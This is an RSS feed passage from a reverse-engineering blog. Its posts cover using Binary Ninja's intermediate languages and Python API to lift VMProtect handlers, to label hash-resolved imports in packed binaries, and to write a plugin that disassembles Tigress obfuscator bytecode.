eax_2 = (<span class="hljs-number">0xffffff00</span> &amp; eax_1) &amp; (<span class="hljs-number">0xff</span> &amp; ((<span class="hljs-number">0xff</span> &amp; eax_1) ^ (<span class="hljs-number">0xff</span> &amp; ebx_0)))
eax_3 = (<span class="hljs-number">0xffffff00</span> &amp; eax_2) &amp; (<span class="hljs-number">0xff</span> &amp; not((<span class="hljs-number">0xff</span> &amp; eax_2), <span class="hljs-number">1</span>))
eax_4 = (<span class="hljs-number">0xffffff00</span> &amp; eax_3) &amp; (<span class="hljs-number">0xff</span> &amp; ((<span class="hljs-number">0xff</span> &amp; eax_3) - <span class="hljs-number">-0x5d</span>))
eax_5 = (<span class="hljs-number">0xffffff00</span> &amp; eax_4) &amp; (<span class="hljs-number">0xff</span> &amp; (<span class="hljs-number">0xFF</span> &amp; (((<span class="hljs-number">0xff</span> &amp; eax_4) &lt;&lt; <span class="hljs-number">0x1</span>) | ((<span class="hljs-number">0xff</span> &amp; eax_4) &gt;&gt; (<span class="hljs-number">8</span> - <span class="hljs-number">0x1</span>)))))
eax_6 = (<span class="hljs-number">0xffffff00</span> &amp; eax_5) &amp; (<span class="hljs-number">0xff</span> &amp; ((<span class="hljs-number">0xff</span> &amp; eax_5) + <span class="hljs-number">0x1</span>))
eax_7 = (<span class="hljs-number">0xffffff00</span> &amp; eax_6) &amp; (<span class="hljs-number">0xff</span> &amp; (<span class="hljs-number">0xFF</span> &amp; (((<span class="hljs-number">0xff</span> &amp; eax_6) &gt;&gt; <span class="hljs-number">0x1</span>) | ((<span class="hljs-number">0xff</span> &amp; eax_6) &lt;&lt; (<span class="hljs-number">8</span> - <span class="hljs-number">0x1</span>)))))
ebx_1 = (<span class="hljs-number">0xffffff00</span> &amp; ebx_0) &amp; (<span class="hljs-number">0xff</span> &amp; ((<span class="hljs-number">0xff</span> &amp; ebx_0) ^ (<span class="hljs-number">0xff</span> &amp; eax_7)))
esi_1 = (esi_0 - <span class="hljs-number">0x1</span>)
esi_2 = (esi_1 - <span class="hljs-number">0x4</span>)
eax_11 = read_mem(esi_2,<span class="hljs-number">4</span>)
eax_12 = (eax_11 ^ ebx_1)
eax_13 = (eax_12 + <span class="hljs-number">-0x5ca20a41</span>)
eax_14 = not(eax_13, <span class="hljs-number">4</span>)
eax_15 = (eax_14 - <span class="hljs-number">0x40d54c06</span>)
eax_16 = (<span class="hljs-number">0xFFFFFFFF</span> &amp; ((eax_15 &lt;&lt; <span class="hljs-number">0x2</span>) | (eax_15 &gt;&gt; (<span class="hljs-number">32</span> - <span class="hljs-number">0x2</span>))))
esi_1 = (esi_0 - <span class="hljs-number">0x1</span>)
eax_1 = zx(read_mem(esi_1,<span class="hljs-number">1</span>), <span class="hljs-number">4</span>)
eax_2 = (<span class="hljs-number">0xffffff00</span> &amp; eax_1) &amp; (<span class="hljs-number">0xff</span> &amp; ((<span class="hljs-number">0xff</span> &amp; eax_1) ^ (<span class="hljs-number">0xff</span> &amp; ebx_0)))
eax_3 = (<span class="hljs-number">0xffffff00</span> &amp; eax_2) &amp; (<span class="hljs-number">0xff</span> &amp; not((<span class="hljs-number">0xff</span> &amp; eax_2), <span class="hljs-number">1</span>))
eax_4 = (<span class="hljs-number">0xffffff00</span> &amp; eax_3) &amp; (<span class="hljs-number">0xff</span> &amp; ((<span class="hljs-number">0xff</span> &amp; eax_3) - <span class="hljs-number">-0x5d</span>))
eax_5 = (<span class="hljs-number">0xffffff00</span> &amp; eax_4) &amp; (<span class="hljs-number">0xff</span> &amp; (<span class="hljs-number">0xFF</span> &amp; (((<span class="hljs-number">0xff</span> &amp; eax_4) &lt;&lt; <span class="hljs-number">0x1</span>) | ((<span class="hljs-number">0xff</span> &amp; eax_4) &gt;&gt; (<span class="hljs-number">8</span> - <span class="hljs-number">0x1</span>)))))
eax_6 = (<span class="hljs-number">0xffffff00</span> &amp; eax_5) &amp; (<span class="hljs-number">0xff</span> &amp; ((<span class="hljs-number">0xff</span> &amp; eax_5) + <span class="hljs-number">0x1</span>))
eax_7 = (<span class="hljs-number">0xffffff00</span> &amp; eax_6) &amp; (<span class="hljs-number">0xff</span> &amp; (<span class="hljs-number">0xFF</span> &amp; (((<span class="hljs-number">0xff</span> &amp; eax_6) &gt;&gt; <span class="hljs-number">0x1</span>) | ((<span class="hljs-number">0xff</span> &amp; eax_6) &lt;&lt; (<span class="hljs-number">8</span> - <span class="hljs-number">0x1</span>)))))
ebx_1 = (<span class="hljs-number">0xffffff00</span> &amp; ebx_0) &amp; (<span class="hljs-number">0xff</span> &amp; ((<span class="hljs-number">0xff</span> &amp; ebx_0) ^ (<span class="hljs-number">0xff</span> &amp; eax_7)))
ebx_2 = (ebx_1 ^ eax_16)
</code></pre><p>Lots of repetition caused by the <code>ebx</code> decryption, but we can also see a couple of main things:</p>
<ul>
<li>our <code>VIP</code> register, <code>esi</code> gets decremented by 5 (in this VMProtect VM, the <code>VIP</code> counts backwards), which means we're reading 1 byte from the bytecode, and then a final DWORD to get the address of the next handler</li>
<li>our stack pointer register, <code>ebp</code> gets advanced by 4, which suggests we popped a DWORD off the virtual stack, but didn't put anything back on (so we haven't done any arithmetic)</li>
</ul>
<p>These two things alone are pretty good clues that we've loaded a DWORD from the stack and put it into a virtual register in the scratch space. We haven't handled memory writes, and the next important step would be to find all <code>LowLevelILStoreSsa</code> instructions and collect them somewhere too:</p>
<pre><code>&gt;&gt;&gt; llil_ssa[<span class="hljs-number">24</span>]
&lt;llil: [esp#<span class="hljs-number">0</span> + eax#<span class="hljs-number">7</span>].d = ecx#<span class="hljs-number">7</span> @ mem#<span class="hljs-number">0</span> -&gt; mem#<span class="hljs-number">1</span>&gt;
&gt;&gt;&gt; type(llil_ssa[<span class="hljs-number">24</span>])
&lt;<span class="hljs-class"><span class="hljs-keyword">class</span> '<span class="hljs-title">binaryninja</span>.<span class="hljs-title">lowlevelil</span>.<span class="hljs-title">LowLevelILStoreSsa</span>'&gt;</span>
</code></pre><p>With heuristics we would know that since <code>esp</code> is our scratch space base, we just need to resolve <code>eax#7</code> and we'll know which number register we are writing to.</p>
<p>In any case, code is at <a target="_blank" href="https://github.com/samrussell/vmprotect_binja_plugin">https://github.com/samrussell/vmprotect_binja_plugin</a>, feel free to have a play with it and see what else you can do</p>
<h2 id="heading-takeaways">Takeaways</h2>
<p>It took a while to find the right level to look at, but ultimately the Binary Ninja LLIL is very useful, the Python interface is fantastic for interacting with it, and it does about 90% of the heavy lifting for us. I suspect once we get to the arithmetic operations we'll run into some problems with managing where the flags originate from, and that will require us to step backwards through the instruction array rather than directly access these. The LLIL does keep track of some flags that are directly set (there are 8 versions of the carry flag in this handler, for example), but we will have to implement the flag calculation for arithmetic ourselves. Having said this, the flag usage in the handlers is fairly straightforward in earlier versions of VMProtect, and the problems only arise when handling the lifted opcodes in later analysis.</p>
<p>Another nice surprise was how the HLIL was really useful in finding the address of the first VM handler, and it would be nice if there was a way to customise this more. The dead code and obfuscated jump handling isn't perfect, but we do get a bunch of stuff for free from both the HLIL and the LLIL, and I feel like Binary Ninja is going to be quite a useful tool for handling a sample like this.</p>
<p>Anyway, I hope you got something out of this. Good luck and happy reversing.</p>
]]></content:encoded></item><item><title><![CDATA[Bulk populating encrypted import tables in Binary Ninja]]></title><description><![CDATA[Hashing function names slows down reversers
It's common for packed and otherwise obfuscated binaries to effectively user their own shellcode to populate the imports that they plan to use. This does two things:

It hides imports from the reverser that...]]></description><link>https://www.lodsb.com/bulk-populating-encrypted-import-tables-in-binary-ninja</link><guid isPermaLink="true">https://www.lodsb.com/bulk-populating-encrypted-import-tables-in-binary-ninja</guid><category><![CDATA[binary ninja]]></category><category><![CDATA[reverse engineering]]></category><category><![CDATA[General Programming]]></category><dc:creator><![CDATA[Sam Russell]]></dc:creator><pubDate>Fri, 11 Nov 2022 14:39:58 GMT</pubDate><content:encoded><![CDATA[<h2 id="heading-hashing-function-names-slows-down-reversers">Hashing function names slows down reversers</h2>
<p>It's common for packed and otherwise obfuscated binaries to effectively user their own shellcode to populate the imports that they plan to use. This does two things:</p>
<ol>
<li>It hides imports from the reverser that might otherwise stick out in the import table</li>
<li>It makes the packer/obfuscator code more portable, it can just add itself onto an existing binary</li>
</ol>
<p>For those of you who aren't familiar with how you can populate your own import table, it looks something like this</p>
<ol>
<li>Load the PEB (fs:[0x18][0x30] in x86, gs:[0x30][0x60] in x64)</li>
<li>Load the head of the module list at <code>PEB-&gt;Ldr-&gt;InLoadOrderModuleList</code></li>
<li>Iterate through this list until you get back to the start (sad face) or find your module name</li>
</ol>
<p>(By the way, <a target="_blank" href="https://binary.ninja/2022/10/28/3.2-released.html#offset-pointers">Binary Ninja 3.2 now supports offset pointers</a> which tidies things up a lot when traversing win32 structs that are tied together using <code>LIST_ENTRY</code> pointers)</p>
<p>For packers that want to obfuscate things further, they can hash the names of the DLLs and imported functions so that these don't show up when searching for strings. All we need to do when iterating is to hash the name of every DLL we get to and compare it against the hash we're looking for.</p>
<p>Once we have a module base address, we parse the PE header, get to the export table, and traverse both the name table and offset table in lock-step (these don't point to each other but rather the names and addresses are stored in the same order, so entry X in the name table matches entry X in the offset table). When we find the (hashed) name we're looking for, we return the corresponding function address.</p>
<p>What this means for us as reversers is we end up finding a function that looks like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668169822312/dym5XdYPS.png" alt="image.png" /></p>
<p>Note: I've already reversed the <code>GetModuleBase_</code> and <code>GetProcAddress_</code> functions, these are an exercise for the reader :)</p>
<p>Once we've extracted the hashing function, we can run it over a few standard DLL names that we know will be loaded (kernel32, ntdll), confirm in the code, then update our labels:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668170029204/2vTfD19k9.png" alt="image.png" /></p>
<p>Now we can see that we're loading a bunch of functions from kernel32 and ntll. Let's see if we can speed up this labelling a little:</p>
<h2 id="heading-getting-all-the-references">Getting all the references</h2>
<p>The <a target="_blank" href="https://api.binary.ninja/">Binary Ninja API</a> is extensive but it takes a bit of playing to find what we're looking for. I recommend using a combination of searching the API docs and playing around in the python console to piece together what you're looking for.</p>
<p>For starters, we'll go to our function by double clicking on it, and make sure the signature is right.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668170420127/Vc2L3frZP.png" alt="image.png" /></p>
<p>The first argument is where we store the function address, the second argument is the address of our module, the third is the hash we expect, and the fourth we don't care about here. We'll update them to make sure the types are correct (press Y to change a function type) and here we are:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668170553436/6odVF_I09.png" alt="image.png" /></p>
<p>If you look in the bottom-left-hand corner you'll see a list of references to this function, we want to get this programmatically </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668170617191/JkdDRjxAH.png" alt="image.png" /></p>
<p>We can do this with the <code>bv.get_code_refs()</code> command. Protip: if we highlight the top of the function, we'll get the address in the <code>here</code> variable, so we can just call <code>bv.get_code_refs(here)</code> and it'll do the same thing as manually typing in the address:</p>
<pre><code>&gt;&gt;&gt; [hex(x.address) <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> bv.get_code_refs(here)]
[<span class="hljs-string">'0x12423a1'</span>, <span class="hljs-string">'0x1242c6d'</span>, <span class="hljs-string">'0x1242c7f'</span>, <span class="hljs-string">'0x1242c91'</span>, <span class="hljs-string">'0x1242ca3'</span>, <span class="hljs-string">'0x1242cb5'</span>, <span class="hljs-string">'0x1242ce3'</span>, <span class="hljs-string">'0x1242cf5'</span>, <span class="hljs-string">'0x1242d07'</span>, <span class="hljs-string">'0x1242d19'</span>, <span class="hljs-string">'0x1242d2b'</span>, <span class="hljs-string">'0x1242d3d'</span>, <span class="hljs-string">'0x1242d4f'</span>, <span class="hljs-string">'0x1242d61'</span>, <span class="hljs-string">'0x1242d73'</span>, <span class="hljs-string">'0x1242d85'</span>, <span class="hljs-string">'0x1242d97'</span>, <span class="hljs-string">'0x1242da9'</span>, <span class="hljs-string">'0x1242dbb'</span>, <span class="hljs-string">'0x1242dcd'</span>, <span class="hljs-string">'0x1242ddf'</span>, <span class="hljs-string">'0x1242df1'</span>, <span class="hljs-string">'0x1242e03'</span>, <span class="hljs-string">'0x1242e15'</span>, <span class="hljs-string">'0x1242e27'</span>, <span class="hljs-string">'0x1242e39'</span>, <span class="hljs-string">'0x1242e4b'</span>, <span class="hljs-string">'0x1242e5d'</span>, <span class="hljs-string">'0x1242e6f'</span>, <span class="hljs-string">'0x1242e81'</span>, <span class="hljs-string">'0x1242e93'</span>, <span class="hljs-string">'0x1242ea5'</span>, <span class="hljs-string">'0x1242eb7'</span>, <span class="hljs-string">'0x1242ec9'</span>, <span class="hljs-string">'0x1242edb'</span>, <span class="hljs-string">'0x1242eed'</span>, <span class="hljs-string">'0x1242eff'</span>, <span class="hljs-string">'0x1242f11'</span>, <span class="hljs-string">'0x1242f23'</span>, <span class="hljs-string">'0x1242f35'</span>, <span class="hljs-string">'0x1242f47'</span>, <span class="hljs-string">'0x1242f59'</span>, <span class="hljs-string">'0x1242f6b'</span>, <span class="hljs-string">'0x1242f7d'</span>, <span class="hljs-string">'0x1242f8f'</span>, <span class="hljs-string">'0x1242fa1'</span>, <span class="hljs-string">'0x1242fb3'</span>, <span class="hljs-string">'0x1243079'</span>, <span class="hljs-string">'0x124308b'</span>, <span class="hljs-string">'0x124309d'</span>, <span class="hljs-string">'0x12430af'</span>, <span class="hljs-string">'0x12430c1'</span>, <span class="hljs-string">'0x12430d3'</span>, <span class="hljs-string">'0x12430e5'</span>]
</code></pre><p>We want to get the HLIL instruction at that address. I couldn't find a direct way to get this, so we'll grab the function from the reference, look at the list of HLIL instructions, and extract the one that matches our address:</p>
<pre><code>&gt;&gt;&gt; list(filter(lambda x: x.address == ref.address, ref.function.hlil.instructions))[<span class="hljs-number">0</span>]
&lt;HLIL_CALL: GetProcAddress_(&amp;data_12471ed, pKernel32, <span class="hljs-number">0x4dd0a472</span>, <span class="hljs-number">0</span>)&gt;
</code></pre><p>Once we've got this we can extract the things we care about: the name of the DLL base variable we pass (pKernel32), the hash we're looking up (0x4dd0a472), and the var where we plan to store the result (data_12471ed). We can extract these from the instruction_operands property as follows:</p>
<p>DLL variable name:</p>
<pre><code>&gt;&gt;&gt; inst.instruction_operands[<span class="hljs-number">2</span>]
&lt;HLIL_VAR: pKernel32&gt;
&gt;&gt;&gt; type(inst.instruction_operands[<span class="hljs-number">2</span>])
&lt;<span class="hljs-class"><span class="hljs-keyword">class</span> '<span class="hljs-title">binaryninja</span>.<span class="hljs-title">highlevelil</span>.<span class="hljs-title">HighLevelILVar</span>'&gt;
&gt;&gt;&gt; <span class="hljs-title">inst</span>.<span class="hljs-title">instruction_operands</span>[2].<span class="hljs-title">var</span>.<span class="hljs-title">name</span>
'<span class="hljs-title">pKernel32</span>'</span>
</code></pre><p>Hash value:</p>
<pre><code>&gt;&gt;&gt; inst.instruction_operands[<span class="hljs-number">3</span>]
&lt;HLIL_CONST: <span class="hljs-number">0x4dd0a472</span>&gt;
&gt;&gt;&gt; inst.instruction_operands[<span class="hljs-number">3</span>].constant
<span class="hljs-number">1305519218</span>
&gt;&gt;&gt; hex(inst.instruction_operands[<span class="hljs-number">3</span>].constant)
<span class="hljs-string">'0x4dd0a472'</span>
</code></pre><p>Output variable address:</p>
<pre><code>&gt;&gt;&gt; inst.instruction_operands[<span class="hljs-number">1</span>]
&lt;HLIL_CONST_PTR: &amp;data_12471ed&gt;
&gt;&gt;&gt; inst.instruction_operands[<span class="hljs-number">1</span>].constant
<span class="hljs-number">19165677</span>
&gt;&gt;&gt; hex(inst.instruction_operands[<span class="hljs-number">1</span>].constant)
<span class="hljs-string">'0x12471ed'</span>
</code></pre><p>Finally, when we want to set a variable name we use <code>bv.define_data_var()</code> to set it:</p>
<pre><code>bv.define_data_var(hlil_inst.instruction_operands[<span class="hljs-number">1</span>].constant, <span class="hljs-string">"void*"</span>, <span class="hljs-string">"p%s"</span> % functionname)
</code></pre><p>Let's put it all together!</p>
<h2 id="heading-scripting-the-bulk-change">Scripting the bulk change</h2>
<p>I've left the hash function out of this article as it is implementation specific, but once we have a function that will generate hashes we can use <code>lief</code> to parse the export table of our DLL of choice and create a lookup table:</p>
<pre><code><span class="hljs-keyword">from</span> hashfunctionname <span class="hljs-keyword">import</span> hash_function_name
<span class="hljs-keyword">import</span> lief
<span class="hljs-keyword">import</span> argparse

parser = argparse.ArgumentParser()
parser.add_argument(<span class="hljs-string">"dllpath"</span>)
args = parser.parse_args()

binary = lief.PE.parse(args.dllpath)

lookup = {}

<span class="hljs-keyword">for</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">in</span> <span class="hljs-title">binary</span>.<span class="hljs-title">exported_functions</span>:
    <span class="hljs-title">lookup</span>[<span class="hljs-title">hash_function_name</span>(<span class="hljs-params">function.name</span>)] = <span class="hljs-title">function</span>.<span class="hljs-title">name</span>

<span class="hljs-title">print</span>(<span class="hljs-params">lookup</span>)</span>
</code></pre><p>We've named our DLL reference variables as <code>pKernel32</code> and <code>pNtDllLocal</code> (note the HLIL uses the local var rather than the global one for ntdll), so we can make a lookup table for multiple dlls if we structure it like this:</p>
<pre><code>procaddress_by_hash = {
  <span class="hljs-string">'pNtDllLocal'</span> : {
    <span class="hljs-number">2777868780</span>: <span class="hljs-string">'A_SHAFinal'</span>,
    ...
  },
  <span class="hljs-string">'pKernel32 : {
    584423213: '</span>AcquireSRWLockExclusive<span class="hljs-string">',
    ..
  }
}</span>
</code></pre><p>Finally, here's the script that does all the heavy lifting:</p>
<pre><code><span class="hljs-keyword">for</span> ref <span class="hljs-keyword">in</span> bv.get_code_refs(here):
  hlil_inst = list(filter(lambda x: x.address == ref.address, ref.function.hlil.instructions))[<span class="hljs-number">0</span>]
  <span class="hljs-keyword">if</span> not isinstance(hlil_inst.instruction_operands[<span class="hljs-number">2</span>], HighLevelILVar):
    log_info(<span class="hljs-string">"second arg isn't a var so can't check it"</span>)
    <span class="hljs-keyword">continue</span>
  dll_name = hlil_inst.instruction_operands[<span class="hljs-number">2</span>].var.name
  <span class="hljs-keyword">if</span> dll_name not <span class="hljs-keyword">in</span> procaddress_by_hash:
    log_info(<span class="hljs-string">"Couldn't find %s in lookup table"</span> % dll_name)
    <span class="hljs-keyword">continue</span>
  lookup_table = procaddress_by_hash[dll_name]
  hash = hlil_inst.instruction_operands[<span class="hljs-number">3</span>].constant
  <span class="hljs-keyword">if</span> hash not <span class="hljs-keyword">in</span> lookup_table:
    log_info(<span class="hljs-string">"couldn't find hash %08X in lookup table"</span> % hash)
  functionname = lookup_table[hash]
  log_info(<span class="hljs-string">"setting var at %08X to %s"</span> % (ref.address, functionname))
  bv.define_data_var(hlil_inst.instruction_operands[<span class="hljs-number">1</span>].constant, <span class="hljs-string">"void*"</span>, <span class="hljs-string">"p%s"</span> % functionname)
</code></pre><p>If we switch to the log tab we can see how it went, or just switch back to one of our references to see the results:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668177172913/g2T8wpgJh.png" alt="image.png" /></p>
<p>Now these are all labelled, we'll be able to identify when they're being called later in the code.</p>
<h2 id="heading-future-work">Future work</h2>
<p>There's one reference that I couldn't handle automatically because the DLL base reference isn't stored in an intermediate variable that I could rename. We can handle this case by checking the name of the function that is called here and looking up the DLL name by hash if it's calling <code>GetModuleBase_()</code>, but I'll leave this as an exercise for the reader.</p>
<p>I hope you find this helpful, happy hacking everyone.</p>
]]></content:encoded></item><item><title><![CDATA[Lifting VM based obfuscators in Binary Ninja]]></title><description><![CDATA[Carrying on from the previous article, we can take the first of the tigress challenges and finesse it so the VM parser shows up nicely as a big switch/case statement and we can unpick what all the VM handlers do. The next step is to translate the VM ...]]></description><link>https://www.lodsb.com/lifting-vm-based-obfuscators-in-binary-ninja</link><guid isPermaLink="true">https://www.lodsb.com/lifting-vm-based-obfuscators-in-binary-ninja</guid><category><![CDATA[software protection]]></category><category><![CDATA[binary ninja]]></category><category><![CDATA[General Programming]]></category><category><![CDATA[reverse engineering]]></category><dc:creator><![CDATA[Sam Russell]]></dc:creator><pubDate>Thu, 27 Oct 2022 14:28:27 GMT</pubDate><content:encoded><![CDATA[<p>Carrying on from the <a target="_blank" href="https://www.lodsb.com/reversing-complex-jumptables-in-binary-ninja">previous article</a>, we can take the first of the <a target="_blank" href="http://tigress.cs.arizona.edu/challenges.html">tigress challenges</a> and finesse it so the VM parser shows up nicely as a big switch/case statement and we can unpick what all the VM handlers do. The next step is to translate the VM handlers into some intermediate language (IL), lift the code, and then apply optimisations to hopefully leave us with some simple and readable code. Binary Ninja gives us the ability to write our own plugins to help with this, so let's go through how we went from a partially-reversed obfuscator VM to some readable code.</p>
<p>If you want to skip this and just want the plugin then check out https://github.com/samrussell/tigress_disasm</p>
<h2 id="heading-reversing-the-vm-handlers">Reversing the VM handlers</h2>
<p>I like to do this by going through the bytecode and reversing one command at a time. The bytecode is at <code>602060</code> so let's start there and we find the first byte is <code>0x60</code>. If we look through our <code>handler_entry</code> table we find that <code>0x60</code> points to <code>4008e9</code> and we can click through to the handler:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1666790261618/BxwbVcpJ0.png" alt="image.png" /></p>
<p>If we look in the High Level IL view we can see the code laid out as follows:</p>
<pre><code>*(vstack + <span class="hljs-number">8</span>) = *(vip + <span class="hljs-number">1</span>)
vstack = vstack + <span class="hljs-number">8</span>
vip = &amp;vip[<span class="hljs-number">9</span>]
<span class="hljs-keyword">continue</span>
</code></pre><p>This handler does the following:</p>
<ol>
<li>Reads the next 8 bytes from <code>VIP</code> as a QWORD and puts them on the stack</li>
<li>Advances the stack pointer by 8 bytes (or 1 QWORD)</li>
<li>Advances <code>VIP</code> by 9 bytes (1 byte for the opcode + 8 bytes for the immediate value)</li>
</ol>
<p>So this pushes a QWORD immediate onto the stack, and we'll call this opcode <code>loadq</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1666790298235/1xmhrNO0a.png" alt="image.png" /></p>
<p>Our first command is thus <code>60 08 00 00 00 00 00 00 00</code>, or <code>loadq 8</code> and our second command is the same opcode, <code>60 00 00 00 00 00 00 00 00</code>, or <code>loadq 0</code>.</p>
<p>The next byte is <code>0x4e</code>, so we'll jump to the handler at <code>40088d</code>:</p>
<pre><code>vip = &amp;vip[<span class="hljs-number">1</span>]
*vstack = *vstack
<span class="hljs-keyword">continue</span>
</code></pre><p>This handler does the following:</p>
<ol>
<li>Advances <code>VIP</code> by one byte</li>
<li>Takes a QWORD from the stack and puts it back in place</li>
</ol>
<p>Operations like these can sometimes be hiding something sneaky that the disassembler will ignore, but it appears this is exactly what is happening if we look at the disassembly:</p>
<pre><code>mov     rax, qword [rbp<span class="hljs-number">-0x70</span> {vip}] <span class="hljs-comment">// put VIP in RAX</span>
add     rax, <span class="hljs-number">0x1</span> <span class="hljs-comment">// increment RAX</span>
mov     qword [rbp<span class="hljs-number">-0x70</span> {vip}], rax  <span class="hljs-comment">// put RAX back in VIP</span>
<span class="hljs-comment">// vip = vip + 1</span>
mov     rax, qword [rbp<span class="hljs-number">-0x80</span> {vstack}] <span class="hljs-comment">// put vstack in RAX</span>
mov     rdx, qword [rbp<span class="hljs-number">-0x80</span> {vstack}] <span class="hljs-comment">// put vstack in RDX</span>
mov     rdx, qword [rdx] <span class="hljs-comment">// RDX = *vstack</span>
mov     qword [rax], rdx <span class="hljs-comment">// *vstack = RDX</span>
<span class="hljs-comment">// *vstack = *vstack</span>
jmp     <span class="hljs-number">0x40070d</span>
</code></pre><p>This will create an exception if vstack is somehow pointing to bad memory, but otherwise this is a <code>NOP</code> operation.</p>
<p>We can carry on through the bytecode for every opcode we don't understand and most of them are pretty straightforward, we have some <code>add</code>, <code>or</code>, and <code>mul</code> operations that are fairly simple, let's look at one of these:</p>
<pre><code>vip = &amp;vip[<span class="hljs-number">1</span>]
*(vstack - <span class="hljs-number">8</span>) = *(vstack - <span class="hljs-number">8</span>) * *vstack
vstack = vstack - <span class="hljs-number">8</span>
<span class="hljs-keyword">continue</span>
</code></pre><p>This handler does the following:</p>
<ol>
<li>Advances <code>VIP</code> by one byte</li>
<li>Multiplies the top 2 QWORDS on the stack and puts them 8 bytes (one QWORD) down from the top</li>
<li>Shifts the stack pointer down by 8 bytes</li>
</ol>
<p>We can model this in different ways, we can use the 8 byte shifts and offsets, or we can also use some dummy registers and model this using stack operations:</p>
<pre><code>pop rax <span class="hljs-comment">// get QWORD from top of stack and shift stack back, stack = original-8</span>
pop rdx <span class="hljs-comment">// get QWORD from top of stack (8 bytes down from original vstack) and shift stack back, stack=original-16</span>
mul rax, rdx <span class="hljs-comment">// multiply both QWORDS</span>
push rax <span class="hljs-comment">// put resulting QWORD on stack and advance stack, stack = original-8</span>
</code></pre><p>There's one other specific VM handler that confused me a bit but is actually kind of nice:</p>
<pre><code><span class="hljs-keyword">void</span>* rax_100 = &amp;vip[<span class="hljs-number">1</span>]
int32_t rax_102 = *rax_100
<span class="hljs-keyword">if</span> (rax_102 == <span class="hljs-number">0</span>)
*(vstack + <span class="hljs-number">8</span>) = &amp;pInputNumber_
<span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (rax_102 == <span class="hljs-number">1</span>)
*(vstack + <span class="hljs-number">8</span>) = &amp;pOutputNumber_
vstack = vstack + <span class="hljs-number">8</span>
vip = rax_100 + <span class="hljs-number">4</span>
<span class="hljs-keyword">continue</span>
</code></pre><p>The function is called with two arguments, and this opcode gets us the address of an argument based on the parameter that is passed as an immediate.</p>
<p>The rest of the handlers are left as an exercise to the reader, let's start converting the bytecode to something readable.</p>
<h2 id="heading-building-the-plugin">Building the plugin</h2>
<p>The API was really enjoyable, with a good amount of documentation (some more examples would be nice), and also easy to test with good errors (standard python) when things went wrong. Here's the basic skeleton of what I built:</p>
<pre><code><span class="hljs-keyword">from</span> binaryninja <span class="hljs-keyword">import</span> (Architecture, RegisterInfo, InstructionInfo,
    InstructionTextToken, InstructionTextTokenType, InstructionTextTokenContext,
    BranchType,
    LowLevelILOperation, LLIL_TEMP,
    LowLevelILLabel,
    FlagRole,
    LowLevelILFlagCondition,
    log_error,
    CallingConvention,
    interaction,
    PluginCommand, BackgroundTaskThread,
    HighlightStandardColor
)

<span class="hljs-keyword">import</span> struct

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Tigress1</span>(<span class="hljs-title">Architecture</span>):
    <span class="hljs-title">name</span> </span>= <span class="hljs-string">"tigress1"</span>
    address_size = <span class="hljs-number">8</span>
    default_int_size = <span class="hljs-number">8</span>
    max_instr_length = <span class="hljs-number">9</span>

    regs = {
        <span class="hljs-string">"vsp"</span>: RegisterInfo(<span class="hljs-string">"vsp"</span>, <span class="hljs-number">8</span>),
        <span class="hljs-string">"varg1"</span>: RegisterInfo(<span class="hljs-string">"varg1"</span>, <span class="hljs-number">8</span>),
        <span class="hljs-string">"varg2"</span>: RegisterInfo(<span class="hljs-string">"varg2"</span>, <span class="hljs-number">8</span>),
        <span class="hljs-string">"vreg"</span>: RegisterInfo(<span class="hljs-string">"vreg"</span>, <span class="hljs-number">8</span>),
        <span class="hljs-string">"vlhs"</span>: RegisterInfo(<span class="hljs-string">"vlhs"</span>, <span class="hljs-number">8</span>),
        <span class="hljs-string">"vrhs"</span>: RegisterInfo(<span class="hljs-string">"vrhs"</span>, <span class="hljs-number">8</span>),
    }
    stack_pointer = <span class="hljs-string">"vsp"</span>

    def get_instruction_info(self, data, address):
        opcode = data[<span class="hljs-number">0</span>]

        <span class="hljs-keyword">if</span> opcode == <span class="hljs-number">0x60</span> or opcode == <span class="hljs-number">0xe1</span>:
            # loadq
            result = InstructionInfo()
            result.length = <span class="hljs-number">9</span>
            <span class="hljs-keyword">return</span> result
        #elif opcode == <span class="hljs-number">0x4e</span>:
        <span class="hljs-keyword">else</span>:
            <span class="hljs-keyword">return</span> None

    def get_instruction_text(self, data, address):
        opcode = data[<span class="hljs-number">0</span>]

        <span class="hljs-keyword">if</span> opcode == <span class="hljs-number">0x60</span> or opcode == <span class="hljs-number">0xe1</span>:
            # loadq
            immediate = struct.unpack(<span class="hljs-string">"&lt;Q"</span>, data[<span class="hljs-number">1</span>:<span class="hljs-number">9</span>])[<span class="hljs-number">0</span>]

            tokens = []
            tokens.append(InstructionTextToken(InstructionTextTokenType.InstructionToken, <span class="hljs-string">"loadq"</span>))
            tokens.append(InstructionTextToken(InstructionTextTokenType.OperandSeparatorToken, <span class="hljs-string">" "</span>))
            tokens.append(InstructionTextToken(InstructionTextTokenType.PossibleAddressToken, hex(immediate), immediate))
            <span class="hljs-keyword">return</span> tokens, <span class="hljs-number">9</span>
        #elif opcode == <span class="hljs-number">0x4e</span>:
        <span class="hljs-keyword">else</span>:
            <span class="hljs-keyword">return</span> None

    def get_instruction_low_level_il(self, data, address, il):
        opcode = data[<span class="hljs-number">0</span>]

        <span class="hljs-keyword">if</span> opcode == <span class="hljs-number">0x60</span> or opcode == <span class="hljs-number">0xe1</span>:
            # loadq
            immediate = struct.unpack(<span class="hljs-string">"&lt;Q"</span>, data[<span class="hljs-number">1</span>:<span class="hljs-number">9</span>])[<span class="hljs-number">0</span>]
            il.append(il.push(<span class="hljs-number">8</span>, il.const(<span class="hljs-number">8</span>, immediate)))
            <span class="hljs-keyword">return</span> <span class="hljs-number">9</span>
        #elif opcode == <span class="hljs-number">0x4e</span>:
        <span class="hljs-keyword">else</span>:
            <span class="hljs-keyword">return</span> None

Tigress1.register()
</code></pre><p>You can take this as-is and dump it in your plugins folder (<code>Tools</code> -&gt; <code>Open Plugin Folder...</code>). You'll need to reload the module if you make any changes, there are plugins to handle this, or you can just close and re-open Binary Ninja to see the changes.</p>
